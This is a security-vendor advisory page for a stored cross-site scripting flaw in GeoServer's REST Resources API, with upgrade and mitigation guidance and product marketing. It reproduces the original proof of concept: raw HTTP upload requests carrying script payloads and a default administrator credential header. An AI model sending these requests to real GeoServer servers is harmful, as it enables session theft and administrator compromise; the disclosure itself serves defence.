Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-fh7p-5f6g-vj2w

MEDIUM

GHSA-fh7p-5f6g-vj2w is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in org.geoserver:gs-restconfig. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-fh7p-5f6g-vj2w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Stored Cross-Site Scripting (XSS) vulnerability in GeoServer's REST Resources API

Also known asCVE-2023-51445
Published
Mar 20, 2024
Updated
Mar 20, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
1 known

Blast Radius

1 pkg affected
org.geoserver:gs-restconfig

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator's browser when viewed in the REST Resources API. Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information.

Details

Upload a new Legend via the New Style page if user has permissions for this. This file is then not checked and is uploaded to the backend system. This file can then be viewed directly by requesting it via the API which will then view the file in its raw format without sanitisation. image

image

PoC

1 .User makes the following request to upload file.

POST /geoserver/web/wicket/bookmarkable/org.geoserver.wms.web.data.StyleNewPage?11-1.IBehaviorListener.0-dialog-dialog-content-form-submit&wicket-ajax=true&wicket-ajax-baseurl=wicket%2Fbookmarkable%2Forg.geoserver.wms.web.data.StyleNewPage%3F11 HTTP/1.1
Host: geoserver:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------37957706701641834739220342753
Content-Length: 619
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="id89_hf_0"
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="userPanel:image"
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="userPanel:upload"; filename="test.html"
Content-Type: text/html
<script>alert(document.cookie)</script>
-----------------------------37957706701641834739220342753
Content-Disposition: form-data; name="p::submit"
1
-----------------------------37957706701641834739220342753--
  1. File is uploaded to the backend system and is viewable via the API at - /geoserver/rest/resourse/styles as per the screenshot above.

  2. If admin user views this file the Javascript is executed and this could be used to craft a payload to steal the user's cookies(as these do not currently use HTTPOnly) image

Alternatively -

If the user has permissions to use the API to make PUT requests then they can directly upload malicious files as per a request below. This would be viewable in the same way as above.

PUT /geoserver/rest/resource/styles/test2.html HTTP/1.1 Host: geoserver:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46Z2Vvc2VydmVy (admin:geoserver default credentials) Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/html Content-Length: 29

<script>alert(1)</script>

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

1 .Perform any action within the application that the user can perform. 2. View any information that the user is able to view. 3. Modify any information that the user is able to modify. 4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

References

https://osgeo-org.atlassian.net/browse/GEOS-11148 https://github.com/geoserver/geoserver/pull/7161

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenorg.geoserver:gs-restconfigall versions2.23.3
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.geoserver:gs-restconfig. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update org.geoserver:gs-restconfig to 2.23.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fh7p-5f6g-vj2w is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fh7p-5f6g-vj2w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fh7p-5f6g-vj2w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A stored cross-site scripting (XSS) vulnerability exists that enables an authenticated administrator with workspace-level privileges to store a JavaScript payload in uploaded style/legend resources that will execute in the context of another administrator's browser when viewed in the REST Resources API. Access to the REST Resources API is limited to full administrators by default and granting non-administrators access to this endpoint should be carefully considered as it may allow access to files containing sensitive information. ### Details Upload a new Legend via the New Style
O3 Security · Impact-Aware SCA

Is GHSA-fh7p-5f6g-vj2w in your dependencies?

O3 detects GHSA-fh7p-5f6g-vj2w across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.